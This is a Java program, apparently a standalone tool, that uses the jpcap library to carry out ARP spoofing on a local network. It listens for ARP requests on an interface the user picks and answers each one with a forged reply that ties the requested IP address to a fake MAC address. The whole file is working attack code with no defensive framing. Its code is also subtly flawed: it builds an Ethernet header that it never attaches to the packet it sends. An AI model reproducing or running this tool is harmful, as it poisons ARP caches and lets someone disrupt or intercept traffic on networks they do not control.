package arpCode;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import jpcap.*;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.NetworkInterfaceAddress;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;

public class JARP implements Runnable{
	
	private static JpcapCaptor jpCapcaptor;
	private static JpcapSender jpCapSender;
	private static BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(System.in));
	private static ARPPacket replyPacket;
	private ARPPacket arpPacket;
	private static NetworkInterface[] devices;
	private EthernetPacket ethernetPacket;
	private static String input;
	private static int i=0;
	
	public static void main(String args[]){
	//System.out.println(System.getProperty("java.library.path"));
		System.out.println("started spoof");
		chooseNIC();
		try{
			jpCapcaptor= JpcapCaptor.openDevice(devices[i], 65535, true, 20);
		}catch(IOException ioException){
			System.out.println(ioException.getMessage());
		}
		
		try{
			jpCapcaptor.setFilter("arp", true);
		}catch(IOException ioException){
			ioException.getMessage();
		}
		
		
		Runnable runnable = new JARP();
		Thread thread = new Thread(runnable);
		thread.setName("ARP Spoofing thread");
		//thread.setPriority();
		thread.start();
	}
	
	public static int chooseNIC(){
		devices = JpcapCaptor.getDeviceList();
		for(int i=0; i<devices.length;i++){
			System.out.println(devices[i].name+"  "+devices[i].description);
			for(NetworkInterfaceAddress a:devices[i].addresses)
				System.out.println("addresses:"+a.address);
			
		}
		System.out.println("Choose the NIC you want to use");
		try{
			input =bufferedReader.readLine();
		}catch(IOException e){
			System.out.println(e.getMessage());
		}
		i = Integer.parseInt(input);
		return i;
	}
	
	@Override
	public void run() {
		// TODO Auto-generated method stub
		while(true){
			replyPacket= (ARPPacket) jpCapcaptor.getPacket();
			if(replyPacket!=null && replyPacket.operation==1){
				System.out.println(replyPacket.toString());
				byte[] falseMAC= new byte[]{(byte)254,(byte)253, (byte)253,(byte)253,(byte)253,(byte)253};
				byte[] sourceIP= replyPacket.target_protoaddr;
				byte[] destinationMAC = replyPacket.sender_hardaddr;
				byte[] destinationIP = replyPacket.sender_protoaddr;
				arpPacket= new ARPPacket();
				arpPacket.hardtype= ARPPacket.HARDTYPE_ETHER;
				arpPacket.prototype = ARPPacket.PROTOTYPE_IP;
				arpPacket.operation= ARPPacket.ARP_REPLY;
				arpPacket.hlen =6;
				arpPacket.plen=4;
				arpPacket.sender_hardaddr= falseMAC;
				arpPacket.sender_protoaddr= sourceIP;
				arpPacket.target_hardaddr= destinationMAC;
				arpPacket.target_protoaddr=destinationIP;
				
				ethernetPacket= new EthernetPacket();
				ethernetPacket.dst_mac= destinationMAC;
				ethernetPacket.frametype= EthernetPacket.ETHERTYPE_ARP;
				ethernetPacket.src_mac= devices[i].mac_address;
				jpCapSender = jpCapcaptor.getJpcapSenderInstance();
				jpCapSender.sendPacket(arpPacket);
				
			}
		}
	}
}